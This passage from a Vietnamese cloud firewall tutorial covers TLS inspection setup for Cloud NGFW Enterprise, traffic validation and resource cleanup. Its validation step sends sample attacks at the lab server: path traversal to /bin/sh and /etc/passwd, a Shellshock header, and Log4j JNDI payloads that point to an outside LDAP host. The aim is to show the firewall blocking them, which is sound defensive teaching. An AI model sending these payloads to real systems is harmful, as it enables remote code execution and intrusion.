Định cấu hình tệp YAML Cấu hình tin cậy. Tệp này chứa thông tin chi tiết về sự tin cậy, chẳng hạn như chứng chỉ CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Các lệnh trên đã đưa chứng chỉ CA gốc vào kho lưu trữ tin cậy vì chứng chỉ máy chủ của bạn đã được ký bằng CA gốc. Điều này có nghĩa là tường lửa sẽ tin tưởng mọi chứng chỉ mà nó nhận được do CA gốc ký, ngoài các CA công khai nếu chính sách TLS của bạn đặt excludePublicCaSet thành false.

Kiểm tra nội dung của cấu hình tin cậy.

cat trust_config.yaml 

Kết quả mẫu:

Chú ý đến cách căn chỉnh thụt đầu dòng của chứng chỉ. Tên phải tuân theo định dạng này một cách chính xác.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Nhập cấu hình tin cậy:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Cập nhật tệp YAML Chính sách TLS để thêm cấu hình tin cậy:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Nhập Chính sách TLS mới cập nhật:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Xác thực quy trình kiểm tra TLS E/W

SSH trở lại máy khách để kiểm thử lưu lượng truy cập E/W bằng cấu hình tin cậy đã cập nhật:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Chạy yêu cầu TLS mẫu đến máy chủ:

curl https://$target_privateip --max-time 2

Nếu bạn vẫn nhận được kết quả dưới đây, vui lòng đợi nội dung cập nhật được truyền tải.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Kết quả đầu ra dự kiến:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Gửi lưu lượng truy cập kiểm thử độc hại đến máy chủ:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Kết quả đầu ra dự kiến:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Không nhận được phản hồi theo kết quả dự kiến dưới đây, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn đối với E/W.

13. Ghi nhật ký

Chuyển đến phần Ghi nhật ký > Trình khám phá nhật ký thông qua Cloud Console, nhập bộ lọc bên dưới rồi truy vấn nhật ký. Thay thế [PROJECT_ID] bằng project_id của bạn:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Các mục nhật ký của Cloud NGFW Enterprise sẽ tương tự như sau:

5b68cc1063c0f4bd.png

Mở rộng các mục nhập nhật ký và lưu ý rằng các cuộc tấn công được gửi từ máy ảo máy khách đến máy chủ đã được xác định và chặn (Lỗ hổng thực thi mã từ xa Apache Log4j theo ảnh chụp màn hình bên dưới).

478f18f8481e90ed.png

Bạn đã triển khai thành công Cloud NGFW Enterprise có tính năng Kiểm tra TLS để chặn các yêu cầu độc hại.

Hãy chuyển sang phần tiếp theo để xem các bước dọn dẹp.

14. Các bước dọn dẹp

Dọn dẹp chế độ thiết lập cơ sở

Xoá các thực thể:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Thực hiện các bước bên dưới if vai trò tagAdmin và tagUsers đã thay đổi:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Xoá khoá và giá trị Thẻ:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Xoá Chính sách mạng của Tường lửa trên đám mây và mối liên kết:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Xoá Cloud Router và Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Xoá các địa chỉ IP được đặt trước:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Xoá SPG, liên kết và TLS của Tường lửa trên đám mây

Xoá Nhóm hồ sơ bảo mật và Hồ sơ mối đe doạ theo thứ tự sau:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Xoá mối liên kết điểm cuối của Tường lửa trên đám mây:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Xoá điểm cuối của Tường lửa trên đám mây. Quá trình này có thể mất khoảng 20 phút:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Bạn có thể xác nhận rằng điểm cuối của Cloud NGFW đã bị xoá bằng cách chạy lệnh dưới đây:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Trạng thái của điểm cuối sẽ hiển thị:

STATE: DELETING

Khi hoàn tất, điểm cuối sẽ không còn xuất hiện trong danh sách nữa.

Xoá Chính sách TLS và Cấu hình tin cậy theo thứ tự sau:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Tắt và xoá CA gốc và Vùng chứa CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Dọn dẹp VPC và mạng con

Cuối cùng, hãy xoá mạng con và mạng VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Xin chúc mừng!

Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình về Cloud NGFW Enterprise cho hoạt động kiểm tra TLS theo hướng Đông-Tây và Bắc-Nam.